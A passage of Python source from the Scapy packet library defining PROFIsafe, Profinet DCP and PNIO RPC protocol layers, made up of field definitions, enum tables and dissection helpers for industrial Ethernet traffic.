of the control/status byte + the CRC length return 5 @staticmethod def get_max_data_length(): # Constraints from IEC-61784-3-3 ED 3, Figure 18 return 13 class PROFIsafeControlCRCSeed(PROFIsafeCRCSeed): name = "PROFISafe Control Message with F_CRC_Seed=1" fields_desc = [ StrFixedLenField("data", '', length_from=lambda p: p.get_data_length()), FlagsField("control", 0, 8, profisafe_control_flags), XIntField("crc", 0) ] class PROFIsafeStatusCRCSeed(PROFIsafeCRCSeed): name = "PROFISafe Status Message with F_CRC_Seed=1" fields_desc = [ StrFixedLenField("data", '', length_from=lambda p: p.get_data_length()), FlagsField("status", 0, 8, profisafe_status_flags), XIntField("crc", 0) ] class PROFIsafe(Packet): __slots__ = ["_len"] + Packet.__slots__ def guess_payload_class(self, p): return conf.padding_layer def get_data_length(self): """ Must be overridden in a subclass to return the correct value """ raise Scapy_Exception( "This method must be overridden in a specific subclass" ) def get_mandatory_fields_len(self): # 4 is the len of the control/status byte + the CRC length return 4 @staticmethod def get_max_data_length(): # Constraints from IEC-61784-3-3 ED 3, Figure 18 return 12 @staticmethod def build_PROFIsafe_class(cls, data_length): assert cls.get_max_data_length() >= data_length return type( "{}Len{}".format(cls.__name__, data_length), (cls,), { "get_data_length": lambda _: data_length, } ) class PROFIsafeControl(PROFIsafe): name = "PROFISafe Control Message with F_CRC_Seed=0" fields_desc = [ StrFixedLenField("data", '', length_from=lambda p: p.get_data_length()), FlagsField("control", 0, 8, profisafe_control_flags), X3BytesField("crc", 0) ] class PROFIsafeStatus(PROFIsafe): name = "PROFISafe Status Message with F_CRC_Seed=0" fields_desc = [ StrFixedLenField("data", '', length_from=lambda p: p.get_data_length()), FlagsField("status", 0, 8, profisafe_status_flags), X3BytesField("crc", 0) ] ================================================ FILE: scapy/contrib/pnio_dcp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2019 Stefan Mehner (stefan.mehner@b-tu.de) # scapy.contrib.description = Profinet DCP layer # scapy.contrib.status = loads from scapy.compat import orb from scapy.all import Packet, bind_layers, Padding from scapy.fields import ( ByteEnumField, ConditionalField, FieldLenField, FieldListField, IPField, LenField, MACField, MultiEnumField, MultipleTypeField, PacketListField, PadField, ShortEnumField, ShortField, StrLenField, XByteField, XIntField, XShortField, ) # minimum packet is 60 bytes.. 14 bytes are Ether() MIN_PACKET_LENGTH = 44 ##################################################### # Constants # ##################################################### DCP_GET_SET_FRAME_ID = 0xFEFD DCP_IDENTIFY_REQUEST_FRAME_ID = 0xFEFE DCP_IDENTIFY_RESPONSE_FRAME_ID = 0xFEFF DCP_REQUEST = 0x00 DCP_RESPONSE = 0x01 DCP_SERVICE_ID_GET = 0x03 DCP_SERVICE_ID_SET = 0x04 DCP_SERVICE_ID_IDENTIFY = 0x05 DCP_SERVICE_ID = { 0x00: "reserved", 0x01: "Manufacturer specific", 0x02: "Manufacturer specific", 0x03: "Get", 0x04: "Set", 0x05: "Identify", 0x06: "Hello", } DCP_SERVICE_TYPE = { 0x00: "Request", 0x01: "Response Success", 0x05: "Response - Request not supported", } DCP_DEVICE_ROLES = { 0x00: "IO Supervisor", 0x01: "IO Device", 0x02: "IO Controller", } DCP_OPTIONS = { 0x00: "reserved", 0x01: "IP", 0x02: "Device properties", 0x03: "DHCP", 0x04: "Reserved", 0x05: "Control", 0x06: "Device Initiative", 0xff: "All Selector" } DCP_OPTIONS.update({i: "reserved" for i in range(0x07, 0x7f)}) DCP_OPTIONS.update({i: "Manufacturer specific" for i in range(0x80, 0xfe)}) DCP_SUBOPTIONS = { # ip 0x01: { 0x00: "Reserved", 0x01: "MAC Address", 0x02: "IP Parameter", 0x03: "Full IP Suite", }, # device properties 0x02: { 0x00: "Reserved", 0x01: "Manufacturer specific (Type of Station)", 0x02: "Name of Station", 0x03: "Device ID", 0x04: "Device Role", 0x05: "Device Options", 0x06: "Alias Name", 0x07: "Device Instance", 0x08: "OEM Device ID", }, # dhcp 0x03: { 0x0c: "Host name", 0x2b: "Vendor specific", 0x36: "Server identifier", 0x37: "Parameter request list", 0x3c: "Class identifier", 0x3d: "DHCP client identifier", 0x51: "FQDN, Fully Qualified Domain Name", 0x61: "UUID/GUID-based Client", 0xff: "Control DHCP for address resolution" }, # control 0x05: { 0x00: "Reserved", 0x01: "Start Transaction", 0x02: "End Transaction", 0x03: "Signal", 0x04: "Response", 0x05: "Reset Factory Settings", 0x06: "Reset to Factory" }, # device initiative 0x06: { 0x00: "Reserved", 0x01: "Device Initiative" }, 0xff: { 0xff: "ALL Selector" } } BLOCK_INFOS = { 0x00: "Reserved", } BLOCK_INFOS.update({i: "reserved" for i in range(0x01, 0xff)}) IP_BLOCK_INFOS = { 0x0000: "IP not set", 0x0001: "IP set", 0x0002: "IP set by DHCP", 0x0080: "IP not set (address conflict detected)", 0x0081: "IP set (address conflict detected)", 0x0082: "IP set by DHCP (address conflict detected)", } IP_BLOCK_INFOS.update({i: "reserved" for i in range(0x0003, 0x007f)}) BLOCK_ERRORS = { 0x00: "Ok", 0x01: "Option unsupp.", 0x02: "Suboption unsupp. or no DataSet avail.", 0x03: "Suboption not set", 0x04: "Resource Error", 0x05: "SET not possible by local reasons", 0x06: "In operation, SET not possible", } BLOCK_QUALIFIERS = { 0x0000: "Use the value temporary", 0x0001: "Save the value permanent", } BLOCK_QUALIFIERS.update({i: "reserved" for i in range(0x0002, 0x00ff)}) ##################################################### # DCP Blocks # ##################################################### # GENERIC DCP BLOCK # DCP RESPONSE BLOCKS class DCPBaseBlock(Packet): """ base class for all DCP Blocks """ fields_desc = [ ByteEnumField("option", 1, DCP_OPTIONS), MultiEnumField("sub_option", 2, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), FieldLenField("dcp_block_length", None, length_of="data"), ShortEnumField("block_info", 0, BLOCK_INFOS), StrLenField("data", "", length_from=lambda x: x.dcp_block_length), ] def extract_padding(self, s): return '', s # OPTION: IP class DCPIPBlock(Packet): fields_desc = [ ByteEnumField("option", 1, DCP_OPTIONS), MultiEnumField("sub_option", 2, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), LenField("dcp_block_length", None), ShortEnumField("block_info", 1, IP_BLOCK_INFOS), IPField("ip", "192.168.0.2"), IPField("netmask", "255.255.255.0"), IPField("gateway", "192.168.0.1"), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPFullIPBlock(Packet): fields_desc = [ ByteEnumField("option", 1, DCP_OPTIONS), MultiEnumField("sub_option", 3, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), LenField("dcp_block_length", None), ShortEnumField("block_info", 1, IP_BLOCK_INFOS), IPField("ip", "192.168.0.2"), IPField("netmask", "255.255.255.0"), IPField("gateway", "192.168.0.1"), FieldListField("dnsaddr", [], IPField("", "0.0.0.0"), count_from=lambda x: 4), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPMACBlock(Packet): fields_desc = [ ByteEnumField("option", 1, DCP_OPTIONS), MultiEnumField("sub_option", 1, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), FieldLenField("dcp_block_length", None), ShortEnumField("block_info", 0, BLOCK_INFOS), MACField("mac", "00:00:00:00:00:00"), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s # OPTION: Device Properties class DCPManufacturerSpecificBlock(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 1, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), FieldLenField("dcp_block_length", None), ShortEnumField("block_info", 0, BLOCK_INFOS), StrLenField("device_vendor_value", "et200sp", length_from=lambda x: x.dcp_block_length - 2), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPNameOfStationBlock(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 2, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), FieldLenField("dcp_block_length", None, length_of="name_of_station", adjust=lambda p, x: x + 2), ShortEnumField("block_info", 0, BLOCK_INFOS), StrLenField("name_of_station", "et200sp", length_from=lambda x: x.dcp_block_length - 2), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPDeviceIDBlock(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 3, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), LenField("dcp_block_length", None), ShortEnumField("block_info", 0, BLOCK_INFOS), XShortField("vendor_id", 0x002a), XShortField("device_id", 0x0313), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPDeviceRoleBlock(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 4, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), LenField("dcp_block_length", 4), ShortEnumField("block_info", 0, BLOCK_INFOS), ByteEnumField("device_role_details", 1, DCP_DEVICE_ROLES), XByteField("reserved", 0x00), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s # one DeviceOptionsBlock can contain 1..n different options class DeviceOption(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 5, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), ] def extract_padding(self, s): return '', s class DCPDeviceOptionsBlock(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 5, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), LenField("dcp_block_length", None), ShortEnumField("block_info", 0, BLOCK_INFOS), PacketListField("device_options", [], DeviceOption, length_from=lambda p: p.dcp_block_length - 2), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPAliasNameBlock(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 6, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), FieldLenField("dcp_block_length", None, length_of="alias_name", adjust=lambda p, x: x + 2), ShortEnumField("block_info", 0, BLOCK_INFOS), StrLenField("alias_name", "et200sp", length_from=lambda x: x.dcp_block_length - 2), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPDeviceInstanceBlock(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 7, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), LenField("dcp_block_length", 4), ShortEnumField("block_info", 0, BLOCK_INFOS), XByteField("device_instance_high", 0x00), XByteField("device_instance_low", 0x01), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPOEMIDBlock(Packet): fields_desc = [ ByteEnumField("option", 2, DCP_OPTIONS), MultiEnumField("sub_option", 8, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), LenField("dcp_block_length", None), ShortEnumField("block_info", 0, BLOCK_INFOS), XShortField("vendor_id", 0x002a), XShortField("device_id", 0x0313), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPControlBlock(Packet): fields_desc = [ ByteEnumField("option", 5, DCP_OPTIONS), MultiEnumField("sub_option", 4, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), LenField("dcp_block_length", 3), ByteEnumField("response", 2, DCP_OPTIONS), MultiEnumField("response_sub_option", 2, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), ByteEnumField("block_error", 0, BLOCK_ERRORS), PadField(StrLenField("padding", b"\x00", length_from=lambda p: p.dcp_block_length % 2), 1, padwith=b"\x00") ] def extract_padding(self, s): return '', s class DCPDeviceInitiativeBlock(Packet): """ device initiative DCP block """ fields_desc = [ ByteEnumField("option", 6, DCP_OPTIONS), MultiEnumField("sub_option", 1, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), FieldLenField("dcp_block_length", None, length_of="device_initiative"), ShortEnumField("block_info", 0, BLOCK_INFOS), ShortField("device_initiative", 1), ] def extract_padding(self, s): return '', s def guess_dcp_block_class(packet, **kargs): """ returns the correct dcp block class needed to dissect the current tag if nothing can be found -> dcp base block will be used :param packet: the current packet :return: dcp block class """ # packet = unicode(packet, "utf-8") option = orb(packet[0]) suboption = orb(packet[1]) # NOTE implement the other functions if needed class_switch_case = { # IP 0x01: { 0x01: "DCPMACBlock", 0x02: "DCPIPBlock" }, # Device Properties 0x02: { 0x01: "DCPManufacturerSpecificBlock", 0x02: "DCPNameOfStationBlock", 0x03: "DCPDeviceIDBlock", 0x04: "DCPDeviceRoleBlock", 0x05: "DCPDeviceOptionsBlock", 0x06: "DCPAliasNameBlock", 0x07: "DCPDeviceInstanceBlock", 0x08: "DCPOEMIDBlock" }, # DHCP 0x03: { 0x0c: "Host name", 0x2b: "Vendor specific", 0x36: "Server identifier", 0x37: "Parameter request list", 0x3c: "Class identifier", 0x3d: "DHCP client identifier", 0x51: "FQDN, Fully Qualified Domain Name", 0x61: "UUID/GUID-based Client", 0xff: "Control DHCP for address resolution" }, # Control 0x05: { 0x00: "Reserved (0x00)", 0x01: "Start Transaction (0x01)", 0x02: "End Transaction (0x02)", 0x03: "Signal (0x03)", 0x04: "DCPControlBlock", 0x05: "Reset Factory Settings (0x05)", 0x06: "Reset to Factory (0x06)" }, # Device Inactive 0x06: { 0x00: "Reserved (0x00)", 0x01: "DCPDeviceInitiativeBlock" }, # ALL Selector 0xff: { 0xff: "ALL Selector (0xff)" } } try: c = class_switch_case[option][suboption] except KeyError: c = "DCPBaseBlock" cls = globals()[c] return cls(packet, **kargs) # GENERIC DCP PACKET class ProfinetDCP(Packet): """ Profinet DCP Packet Requests are handled via ConditionalField because here only 1 Block is used every time. Response can contain 1..n Blocks, for that you have to use one ProfinetDCP Layer with one or multiple DCP*Block Layers:: ProfinetDCP / DCPNameOfStationBlock / DCPDeviceIDBlock ... Example for a DCP Identify All Request:: Ether(dst="01:0e:cf:00:00:00") / ProfinetIO(frameID=DCP_IDENTIFY_REQUEST_FRAME_ID) / ProfinetDCP(service_id=DCP_SERVICE_ID_IDENTIFY, service_type=DCP_REQUEST, option=255, sub_option=255, dcp_data_length=4) Example for a DCP Identify Response:: Ether(dst=dst_mac) / ProfinetIO(frameID=DCP_IDENTIFY_RESPONSE_FRAME_ID) / ProfinetDCP( service_id=DCP_SERVICE_ID_IDENTIFY, service_type=DCP_RESPONSE) / DCPNameOfStationBlock(name_of_station="device1") Example for a DCP Set Request:: Ether(dst=mac) / ProfinetIO(frameID=DCP_GET_SET_FRAME_ID) / ProfinetDCP(service_id=DCP_SERVICE_ID_SET, service_type=DCP_REQUEST, option=2, sub_option=2, dcp_data_length=14, dcp_block_length=10, name_of_station=name, reserved=0) """ name = "Profinet DCP" # a DCP PDU consists of some fields and 1..n DCP Blocks fields_desc = [ ByteEnumField("service_id", 5, DCP_SERVICE_ID), ByteEnumField("service_type", 0, DCP_SERVICE_TYPE), XIntField("xid", 0x01000001), # XShortField('reserved', 0), ShortField('reserved', 0), LenField("dcp_data_length", None), # DCP REQUEST specific ConditionalField(ByteEnumField("option", 2, DCP_OPTIONS), lambda pkt: pkt.service_type == 0), ConditionalField( MultiEnumField("sub_option", 3, DCP_SUBOPTIONS, fmt='B', depends_on=lambda p: p.option), lambda pkt: pkt.service_type == 0), # calculate the len fields - workaround ConditionalField(LenField("dcp_block_length", 0), lambda pkt: pkt.service_type == 0), # DCP SET REQUEST # ConditionalField(ShortEnumField("block_qualifier", 1, BLOCK_QUALIFIERS), lambda pkt: pkt.service_id == 4 and pkt.service_type == 0), # (Common) Name Of Station ConditionalField( MultipleTypeField( [ (StrLenField("name_of_station", "et200sp", length_from=lambda x: x.dcp_block_length - 2), lambda pkt: pkt.service_id == 4), ], StrLenField("name_of_station", "et200sp", length_from=lambda x: x.dcp_block_length), ), lambda pkt: pkt.service_type == 0 and pkt.option == 2 and pkt.sub_option == 2 ), # DCP SET REQUEST # # MAC ConditionalField(MACField("mac", "00:00:00:00:00:00"), lambda pkt: pkt.service_id == 4 and pkt.service_type == 0 and pkt.option == 1 and pkt.sub_option == 1), # IP ConditionalField(IPField("ip", "192.168.0.2"), lambda pkt: pkt.service_id == 4 and pkt.service_type == 0 and pkt.option == 1 and pkt.sub_option in [2, 3]), ConditionalField(IPField("netmask", "255.255.255.0"), lambda pkt: pkt.service_id == 4 and pkt.service_type == 0 and pkt.option == 1 and pkt.sub_option in [2, 3]), ConditionalField(IPField("gateway", "192.168.0.1"), lambda pkt: pkt.service_id == 4 and pkt.service_type == 0 and pkt.option == 1 and pkt.sub_option in [2, 3]), # Full IP ConditionalField(FieldListField("dnsaddr", [], IPField("", "0.0.0.0"), count_from=lambda x: 4), lambda pkt: pkt.service_id == 4 and pkt.service_type == 0 and pkt.option == 1 and pkt.sub_option == 3), # DCP IDENTIFY REQUEST # # Name of station (handled above) # Alias name ConditionalField(StrLenField("alias_name", "et200sp", length_from=lambda x: x.dcp_block_length), lambda pkt: pkt.service_id == 5 and pkt.service_type == 0 and pkt.option == 2 and pkt.sub_option == 6), # implement further REQUEST fields if needed .... # DCP RESPONSE BLOCKS # ConditionalField( PacketListField("dcp_blocks", [], guess_dcp_block_class, length_from=lambda p: p.dcp_data_length), lambda pkt: pkt.service_type == 1), ] def post_build(self, pkt, pay): # add padding to ensure min packet length padding = MIN_PACKET_LENGTH - (len(pkt + pay)) pay += b"\0" * padding return Packet.post_build(self, pkt, pay) bind_layers(ProfinetDCP, Padding) ================================================ FILE: scapy/contrib/pnio_rpc.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2016 Gauthier Sebaux # scapy.contrib.description = ProfinetIO Remote Procedure Call (RPC) # scapy.contrib.status = loads """ PNIO RPC endpoints """ import struct from uuid import UUID from scapy.packet import Packet, Raw, bind_layers from scapy.config import conf from scapy.fields import BitField, ByteField, BitEnumField, ByteEnumField, \ ConditionalField, FieldLenField, FieldListField, IntField, IntEnumField, \ LenField, MACField, PadField, PacketField, PacketListField, \ ShortEnumField, ShortField, StrFixedLenField, StrLenField, \ UUIDField, XByteField, XIntField, XShortEnumField, XShortField from scapy.layers.dcerpc import DceRpc4, DceRpc4Payload from scapy.contrib.rtps.common_types import EField from scapy.compat import bytes_hex from scapy.volatile import RandUUID # Block Packet BLOCK_TYPES_ENUM = { 0x0001: "AlarmNotification_High", 0x0002: "AlarmNotification_Low", 0x0008: "IODWriteReqHeader", 0x0009: "IODReadReqHeader", 0x0010: "DiagnosisData", 0x0012: "ExpectedIdentificationData", 0x0013: "RealIdentificationData", 0x0014: "SubsituteValue", 0x0015: "RecordInputDataObjectElement", 0x0016: "RecordOutputDataObjectElement", 0x0018: "ARData", 0x0019: "LogBookData", 0x001a: "APIData", 0x001b: "SRLData", 0x0020: "I&M0", 0x0021: "I&M1", 0x0022: "I&M2", 0x0023: "I&M3", 0x0024: "I&M4", 0x0030: "I&M0FilterDataSubmodule", 0x0031: "I&M0FilterDataModule", 0x0032: "I&M0FilterDataDevice", 0x0101: "ARBlockReq", 0x0102: "IOCRBlockReq", 0x0103: "AlarmCRBlockReq", 0x0104: "ExpectedSubmoduleBlockReq", 0x0105: "PrmServerBlockReq", 0x0106: "MCRBlockReq", 0x0107: "ARRPCBlockReq", 0x0108: "ARVendorBlockReq", 0x0109: "IRInfoBlock", 0x010a: "SRInfoBlock", 0x010b: "ARFSUBlock", 0x0110: "IODBlockReq_connect_end", 0x0111: "IODBlockReq_plug", 0x0112: "IOXBlockReq_connect", 0x0113: "IOXBlockReq_plug", 0x0114: "ReleaseBlockReq", 0x0116: "IOXBlockReq_companion", 0x0117: "IOXBlockReq_rt_class_3", 0x0118: "IODBlockReq_connect_begin", 0x0119: "SubmoduleListBlock", 0x0200: "PDPortDataCheck", 0x0201: "PdevData", 0x0202: "PDPortDataAdjust", 0x0203: "PDSyncData", 0x0204: "IsochronousModeData", 0x0205: "PDIRData", 0x0206: "PDIRGlobalData", 0x0207: "PDIRFrameData", 0x0208: "PDIRBeginEndData", 0x0209: "AdjustDomainBoundary", 0x020a: "SubBlock_check_Peers", 0x020b: "SubBlock_check_LineDelay", 0x020c: "SubBlock_check_MAUType", 0x020e: "AdjustMAUType", 0x020f: "PDPortDataReal", 0x0210: "AdjustMulticastBoundary", 0x0211: "PDInterfaceMrpDataAdjust", 0x0212: "PDInterfaceMrpDataReal", 0x0213: "PDInterfaceMrpDataCheck", 0x0214: "PDPortMrpDataAdjust", 0x0215: "PDPortMrpDataReal", 0x0216: "MrpManagerParams", 0x0217: "MrpClientParams", 0x0219: "MrpRingStateData", 0x021b: "AdjustLinkState", 0x021c: "CheckLinkState", 0x021e: "CheckSyncDifference", 0x021f: "CheckMAUTypeDifference", 0x0220: "PDPortFODataReal", 0x0221: "FiberOpticManufacturerSpecific", 0x0222: "PDPortFODataAdjust", 0x0223: "PDPortFODataCheck", 0x0224: "AdjustPeerToPeerBoundary", 0x0225: "AdjustDCPBoundary", 0x0226: "AdjustPreambleLength", 0x0228: "FiberOpticDiagnosisInfo", 0x022a: "PDIRSubframeData", 0x022b: "SubframeBlock", 0x022d: "PDTimeData", 0x0230: "PDNCDataCheck", 0x0231: "MrpInstanceDataAdjustBlock", 0x0232: "MrpInstanceDataRealBlock", 0x0233: "MrpInstanceDataCheckBlock", 0x0240: "PDInterfaceDataReal", 0x0250: "PDInterfaceAdjust", 0x0251: "PDPortStatistic", 0x0400: "MultipleBlockHeader", 0x0401: "COContainerContent", 0x0500: "RecordDataReadQuery", 0x0600: "FSHelloBlock", 0x0601: "FSParameterBlock", 0x0608: "PDInterfaceFSUDataAdjust", 0x0609: "ARFSUDataAdjust", 0x0700: "AutoConfiguration", 0x0701: "AutoConfigurationCommunication", 0x0702: "AutoConfigurationConfiguration", 0x0703: "AutoConfigurationIsochronous", 0x0A00: "UploadBLOBQuery", 0x0A01: "UploadBLOB", 0x0A02: "NestedDiagnosisInfo", 0x0F00: "MaintenanceItem", 0x0F01: "UploadRecord", 0x0F02: "iParameterItem", 0x0F03: "RetrieveRecord", 0x0F04: "RetrieveAllRecord", 0x8001: "AlarmAckHigh", 0x8002: "AlarmAckLow", 0x8008: "IODWriteResHeader", 0x8009: "IODReadResHeader", 0x8101: "ARBlockRes", 0x8102: "IOCRBlockRes", 0x8103: "AlarmCRBlockRes", 0x8104: "ModuleDiffBlock", 0x8105: "PrmServerBlockRes", 0x8106: "ARServerBlockRes", 0x8107: "ARRPCBlockRes", 0x8108: "ARVendorBlockRes", 0x8110: "IODBlockRes_connect_end", 0x8111: "IODBlockRes_plug", 0x8112: "IOXBlockRes_connect", 0x8113: "IOXBlockRes_plug", 0x8114: "ReleaseBlockRes", 0x8116: "IOXBlockRes_companion", 0x8117: "IOXBlockRes_rt_class_3", 0x8118: "IODBlockRes_connect_begin", } # IODWriteReq & IODWriteMultipleReq Packets IOD_WRITE_REQ_INDEX = { 0x8000: "ExpectedIdentificationData_subslot", 0x8001: "RealIdentificationData_subslot", 0x800a: "Diagnosis_channel_subslot", 0x800b: "Diagnosis_all_subslot", 0x800c: "Diagnosis_Maintenance_subslot", 0x8010: "Maintenance_required_in_channel_subslot", 0x8011: "Maintenance_demanded_in_channel_subslot", 0x8012: "Maintenance_required_in_all_channels_subslot", 0x8013: "Maintenance_demanded_in_all_channels_subslot", 0x801e: "SubstitueValue_subslot", 0x8020: "PDIRSubframeData_subslot", 0x8028: "RecordInputDataObjectElement_subslot", 0x8029: "RecordOutputDataObjectElement_subslot", 0x802a: "PDPortDataReal_subslot", 0x802b: "PDPortDataCheck_subslot", 0x802c: "PDIRData_subslot", 0x802d: "Expected_PDSyncData_subslot", 0x802f: "PDPortDataAdjust_subslot", 0x8030: "IsochronousModeData_subslot", 0x8031: "Expected_PDTimeData_subslot", 0x8050: "PDInterfaceMrpDataReal_subslot", 0x8051: "PDInterfaceMrpDataCheck_subslot", 0x8052: "PDInterfaceMrpDataAdjust_subslot", 0x8053: "PDPortMrpDataAdjust_subslot", 0x8054: "PDPortMrpDataReal_subslot", 0x8060: "PDPortFODataReal_subslot", 0x8061: "PDPortFODataCheck_subslot", 0x8062: "PDPortFODataAdjust_subslot", 0x8070: "PdNCDataCheck_subslot", 0x8071: "PDInterfaceAdjust_subslot", 0x8072: "PDPortStatistic_subslot", 0x8080: "PDInterfaceDataReal_subslot", 0x8090: "Expected_PDInterfaceFSUDataAdjust", 0x80a0: "Energy_saving_profile_record_0", 0x80b0: "CombinedObjectContainer", 0x80c0: "Sequence_events_profile_record_0", 0xaff0: "I&M0", 0xaff1: "I&M1", 0xaff2: "I&M2", 0xaff3: "I&M3", 0xaff4: "I&M4", 0xc000: "Expect edIdentificationData_slot", 0xc001: "RealId entificationData_slot", 0xc00a: "Diagno sis_channel_slot", 0xc00b: "Diagnosis_all_slot", 0xc00c: "Diagnosis_Maintenance_slot", 0xc010: "Maintenance_required_in_channel_slot", 0xc011: "Maintenance_demanded_in_channel_slot", 0xc012: "Maintenance_required_in_all_channels_slot", 0xc013: "Maintenance_demanded_in_all_channels_slot", 0xe000: "ExpectedIdentificationData_AR", 0xe001: "RealIdentificationData_AR", 0xe002: "ModuleDiffBlock_AR", 0xe00a: "Diagnosis_channel_AR", 0xe00b: "Diagnosis_all_AR", 0xe00c: "Diagnosis_Maintenance_AR", 0xe010: "Maintenance_required_in_channel_AR", 0xe011: "Maintenance_demanded_in_channel_AR", 0xe012: "Maintenance_required_in_all_channels_AR", 0xe013: "Maintenance_demanded_in_all_channels_AR", 0xe040: "WriteMultiple", 0xe050: "ARFSUDataAdjust_AR", 0xf000: "RealIdentificationData_API", 0xf00a: "Diagnosis_channel_API", 0xf00b: "Diagnosis_all_API", 0xf00c: "Diagnosis_Maintenance_API", 0xf010: "Maintenance_required_in_channel_API", 0xf011: "Maintenance_demanded_in_channel_API", 0xf012: "Maintenance_required_in_all_channels_API", 0xf013: "Maintenance_demanded_in_all_channels_API", 0xf020: "ARData_API", 0xf80c: "Diagnosis_Maintenance_device", 0xf820: "ARData", 0xf821: "APIData", 0xf830: "LogBookData", 0xf831: "PdevData", 0xf840: "I&M0FilterData", 0xf841: "PDRealData", 0xf842: "PDExpectedData", 0xf850: "AutoConfiguration", 0xf860: "GSD_upload", 0xf861: "Nested_Diagnosis_info", 0xfbff: "Trigger_index_CMSM", } # ARBlockReq Packets AR_TYPE = { 0x0001: "IOCARSingle", 0x0006: "IOSAR", 0x0010: "IOCARSingle_RT_CLASS_3", 0x0020: "IOCARSR", } # IOCRBlockReq Packets IOCR_TYPE = { 0x0001: "InputCR", 0x0002: "OutputCR", 0x0003: "MulticastProviderCR", 0x0004: "MulticastConsumerCR", } IOCR_BLOCK_REQ_IOCR_PROPERTIES = { 0x1: "RT_CLASS_1", 0x2: "RT_CLASS_2", 0x3: "RT_CLASS_3", 0x4: "RT_CLASS_UDP", } MAU_TYPE = { 0x0000: "Radio", 0x001e: "1000-BaseT-FD" } MAU_EXTENSION = { 0x0000: "None", 0x0100: "Polymeric-Optical-Fiber" } LINKSTATE_LINK = { 0x0000: "Reserved", 0x0001: "Up", 0x0002: "Down", 0x0003: "Testing", 0x0004: "Unknown", 0x0005: "Dormant", 0x0006: "NotPresent", 0x0007: "LowerLayerDown", } LINKSTATE_PORT = { 0x0000: "Unknown", 0x0001: "Disabled/Discarding", 0x0002: "Blocking", 0x0003: "Listening", 0x0004: "Learning", 0x0005: "Forwarding", 0x0006: "Broken", 0x0007: "Reserved", } MEDIA_TYPE = { 0x00: "Unknown", 0x01: "Copper cable", 0x02: "Fiber optic cable", 0x03: "Radio communication" } # List of all valid activity UUIDs for the DceRpc layer with PROFINET RPC # endpoint. # # Because these are used in overloaded_fields, it must be a ``UUID``, not a # string. RPC_INTERFACE_UUID = { "UUID_IO_DeviceInterface": UUID("dea00001-6c97-11d1-8271-00a02442df7d"), "UUID_IO_ControllerInterface": UUID("dea00002-6c97-11d1-8271-00a02442df7d"), "UUID_IO_SupervisorInterface": UUID("dea00003-6c97-11d1-8271-00a02442df7d"), "UUID_IO_ParameterServerInterface": UUID("dea00004-6c97-11d1-8271-00a02442df7d"), } # Generic Block Packet class BlockHeader(Packet): """Abstract packet to centralize block headers fields""" fields_desc = [ ShortEnumField("block_type", None, BLOCK_TYPES_ENUM), ShortField("block_length", None), ByteField("block_version_high", 1), ByteField("block_version_low", 0), ] def __new__(cls, name, bases, dct): raise NotImplementedError() class Block(Packet): """A generic block packet for PNIO RPC""" fields_desc = [ BlockHeader, StrLenField("load", "", length_from=lambda pkt: pkt.block_length - 2), ] # default block_type block_type = 0 def post_build(self, p, pay): # update the block_length if needed if self.block_length is None: # block_length and block_type are not part of the length count length = len(p) - 4 p = p[:2] + struct.pack("!H", length) + p[4:] return Packet.post_build(self, p, pay) def extract_padding(self, s): # all fields after block_length are included in the length and must be # subtracted from the pdu length l length = 